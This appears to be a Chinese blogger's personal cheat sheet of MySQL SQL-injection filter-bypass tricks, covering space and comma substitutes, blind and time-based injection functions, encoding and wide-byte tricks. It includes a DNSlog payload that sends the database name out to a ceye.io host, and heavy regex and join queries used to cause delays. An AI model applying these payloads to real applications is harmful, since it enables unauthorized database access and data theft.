把总结的屯到博客上,在本地删掉就尴尬了
1,绕过空格
注释:/* */
括号:()
反引号: //区分MYSQL的保留字与普通字符而引入的符号
%20 %09 %0a %0b %0c %0d %a0 %00
2,绕过逗号
join,联合子查询
limit 0,1 等于limit 0 offset 1
3,单引号
换成16进制
4,盲注
bool型?/(截取字符的时候逗号可由from for代替)
**截取字符串函数:
Length(database())函数 返回字符串的长度
left(被截取字符串, 截取长度)
right(被截取字符串, 截取长度)
substring(被截取字符串,从第几位开始截取,截取长度)
substring_index(被截取字符串,关键字,关键字出现的次数)
mid()
Substr()截取字符串
Ascii()返回字符的ascii码
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
时间型:(理论上只要可以延缓数据库执行的时间就可以)
**时间函数
sleep(),banchmark()返回服务器执行表达式的时间
get_lock()///select get_lock(‘test’,1); select get_lock(‘test’,5);
RLIKE ///select rpad(‘a’,4999999,‘a’) RLIKE concat(repeat(’(a.*)+’,30),‘b’);
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
笛卡尔积 //SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
原理:笛卡尔积就是集合的乘法,而在数据库中,表的连接操作符合笛卡尔积
可以看到,每一次对自身表的连接,就是多一个次方,通过加大数据库的执行操作,加大时间,从而完成时间性注入。
dnslog:
1’ and if((SELECT LOAD_FILE(CONCAT(’\\’,(SELECT database()),’.zrbu5k.ceye.io\abc’))),1,1)#;
原理:首先在数据库中执行语句,然后load_file语句会发送请求,请求经过dns服务器,然后在dns服务器中查看日志
因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的
*
二分法:
算法加快查找速度
5,XOR
使用^(异或)
6,等于号
regexp正则,like,in,rlike,<,>
7,
大小写
内联注释
双关键字
编码//如URLEncode编码,ASCII,HEX,unicode编码绕过
8,宽字节
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字
9,巧
过滤了<,se<lect=select